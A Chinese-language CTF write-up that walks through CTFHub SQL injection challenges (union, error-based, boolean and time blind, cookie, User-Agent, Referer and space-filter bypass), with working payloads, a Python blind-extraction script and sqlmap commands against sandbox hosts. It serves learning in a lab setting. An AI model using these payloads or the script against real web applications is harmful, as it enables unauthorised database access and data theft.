目录

整数型注入

字符型注入

报错注入

布尔盲注

时间盲注

MySQL结构

Cookie注入

UA注入

Refer注入

过滤空格


整数型注入

我们输入 1 

不断尝试发现闭合方式就是 1 ,整数型

存在两列

order by 2

存在两个注入点

/?id=-1 union select 8,9

爆库,当前数据库为sqli  

/?id=-1 union select 8,database()

 爆出所有表名,这里我们需要吧sqli转换为16进制

/?id=-1 union select 8,group_concat(table_name) from infromation_schema.tables where table_schema=0x73716c69

 爆字段,我们需要把表明转换为16进制

/?id=-1 union select 8,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

 查询flag字段的值

/?id=-1  union select 8,flag from sqli.flag

字符型注入

闭合方式 1'

/?id=1' --+

 其余步骤与第一关一致

两列
/?id=1' order by 1,2 --+
通过占位符查看回显
/?id=-1' union select 1,2 --+
当前数据库
/?id=-1' union select 1,database() --+
爆表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+
爆字段
/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
爆字段值
/?id=-1' union select 1,flag from sqli.flag --+

成功获得flag

报错注入

闭合方式 id=1,回显查询正确

 输入  1'  提示报错,可以采用报错注入
我们使用 updatexml

得到库名

/?id=1 and updatexml(1,concat(0x5e,database()),1)

 得到表名

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)

得到字段

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)

 得到字段的值flag,但是我们发现这里的flag少了一部分 

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)

 

 我们使用mid 就可以得到flag后面的一部分,只有一个 } 

ctfhub{3ca6d5c39c29f29c2da55c49}  这样的话我们呢就得到了 全部的flag

/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

布尔盲注

确认闭合方式 id=1

当数据库查询结果为空或者查询语句报错,回显error,所以我们通过if(expr1,expr2,expr3)来判断

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

 那么就可以在expr1处插入判断语句,expr2处放上正确语法的sql语句,expr3处放上错误语法的sql语句,这样的话就可以判断我们的 exper1处的判断语句是否正确

payload

/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))

第一个字母为s 时 回显success

 第一个字母为a 时 回显error

 这样的话就可以判断出 库名第一个字母为 s 

 这样判断的太慢了,我们使用python脚本(下面附上了脚本源码),或者使用sqlmap

 

 脚本源码:

import requests

urlOPEN = 'http://challenge-5aaeb58d25ce5ac1.sandbox.ctfhub.com:10800' #换成自己环境的url
starOperatorTime = []
mark = 'query_success'

def database_name():
    name = ''
    for j in range(1,9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name+i

                print(name)

                break
    print('database_name:',name)



def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)


def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)


def get_data():
    name=''
    for j in range(1,50): #判断一个值最多有51个字符组成
        for i in range(48,126):
            url=urlOPEN+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
            r=requests.get(url)
            if mark in r.text:
                name=name+chr(i)
                print(name)
                break
    print ('value:',name)



if __name__ == '__main__':
    database_name()
    table_name()
    column_name()
    get_data()

时间盲注

sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

第一位为s时,程序睡眠五秒

/?id=id((substr(database(),1,1)='s',sleep(5),1)

这里我们使用sqlmap sqlmap官网下载地址https://sqlmap.org/icon-default.png?t=LA92https://sqlmap.org/

参数:

--batch             永远不要要求用户输入,使用默认行为

--technique=TECH    SQL注入技术选择 (默认 "BEUSTQ")

枚举:
     T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
     -a, --all           检索全部
     -b, --banner        检索 banner
     --current-user      检索当前用户
     --current-db        检索当前数据库
     --passwords         列出用户密码的hash值
     --tables            列出表
     --columns           列出字段
     --schema            列出DBMS schema
     --dump              Dump DBMS数据库表的条目
     --dump-all          Dump 所有DBMS数据库表的条目
     -D DB               指定数据库
     -T TBL              指定表
     -C COL              指定字段

更多使用教程请跳转到sqlmap注入使用教程这篇文章

查库

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T --dbs

结果 得到了 库名

 

查表

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli --tables

得到了表名

 查字段

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag --columns

         

 查值

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump

 

MySQL结构

这一关与之前一样,只不过换了表名和字段名

我们直接拿sqlmap跑完。

 手动注入的话,先确认这一关的闭合方式,其他的与前几关一致。

Cookie注入

手动注入

抓包修改Cookie

闭合方式

 两个注入点

 爆出库名

 爆出表名 hdyzeywahl

 字段名 tdkjfhcahm

 爆出字段值,找到了flag

UA注入

闭合方式

 两个注入点

表名 ttxhhjucas 

 字段dnodrocxrd

字段值 falg

我们这里直接拿sqlmap跑一下试试

加上 --leve 3 的时候sqlmap会对数据包进行User-Agent检测

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。

查表,查字段,查字段值的过程 参考 时间盲注 

我们使用sqlmap也是成功跑出来了,但是跑了好长时间~

 

Refer注入

添加(修改)Referer字段

Referer:-1 union select 1,database()

表名 jjavepgkre

 字段 fceyldfxjl

  字段值 找到flag

 我们再拿sqlmap跑一下

查表,查字段,查字段值的过程 参考 时间盲注 

成功!

过滤空格

过滤了空格,我们使用/**/代替空格

/?id=1/**/and/**/1=1

查表名 epsaspfvxc

/?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69

 字段  lfdfoijbvi

http://challenge-21f3cf4cedcf5cd0.sandbox.ctfhub.com:10800/?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x65707361737066767863

 字段值 

 成功找到flag

/?id=-1/**/union/**/select/**/1,lfdfoijbvi/**/from/**/sqli.epsaspfvxc

 

sql注入 完结!!!

剩余技能上线后会持续更新。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐